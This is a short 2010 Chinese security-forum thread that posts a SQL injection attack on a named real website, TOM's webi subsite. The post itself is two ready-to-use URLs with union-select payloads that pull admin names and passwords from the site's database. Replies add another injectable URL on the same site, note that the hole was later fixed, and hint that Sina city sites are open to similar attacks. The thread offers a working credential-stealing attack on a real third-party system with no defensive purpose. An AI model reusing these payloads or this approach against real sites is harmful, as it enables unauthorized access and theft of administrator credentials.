首页
社区
课程
招聘
[原创]TOM分站的注入利用——union查询
发表于: 2010-4-8 08:56 3487

[原创]TOM分站的注入利用——union查询

2010-4-8 08:56
3487
http://webi.tom.com/content.php?id=6%20and%201=2%20union%20select%201,name,3,4,password,6,7,8,9,10,11,12,13,14%20from%20admin%20where%20id=3/*


http://webi.tom.com/content.php?id=6%20and%201=2%20union%20select%201,name,3,4,password,6,7,8,9,10,11,12,13,14%20from%20admin/*


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 0
支持
分享
最新回复 (8)
雪    币: 442
活跃值: (1241)
能力值: ( LV12,RANK:1130 )
在线值:
发帖
回帖
粉丝
2
不错    不错
2010-4-8 10:16
0
雪    币: 122
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
呵呵,有点意思。。。
2010-4-8 16:17
0
雪    币: 1462
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
能详细点吗?
2010-4-10 00:18
0
雪    币: 370
活跃值: (15)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
5
Gaga,so amazing
竟然还有这样的hole
2010-4-10 09:39
0
雪    币: 267
活跃值: (24)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
6
去年的时候看过
http://webi.tom.com/content.php?id=737
注入类型为 : Integer
数据库类型为 : Mysql
2010-4-10 16:28
0
雪    币: 213
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
加油,搞定它
2010-4-28 16:20
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
已然修复了,动作还不算太慢
2010-5-1 01:11
0
雪    币: 250
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
新浪的城市站点,也有类似的问题,具体URL就不说了。呵呵,有兴趣的可以去找找
2010-6-24 13:51
0
游客
登录 | 注册 方可回帖
返回
// // 统计代码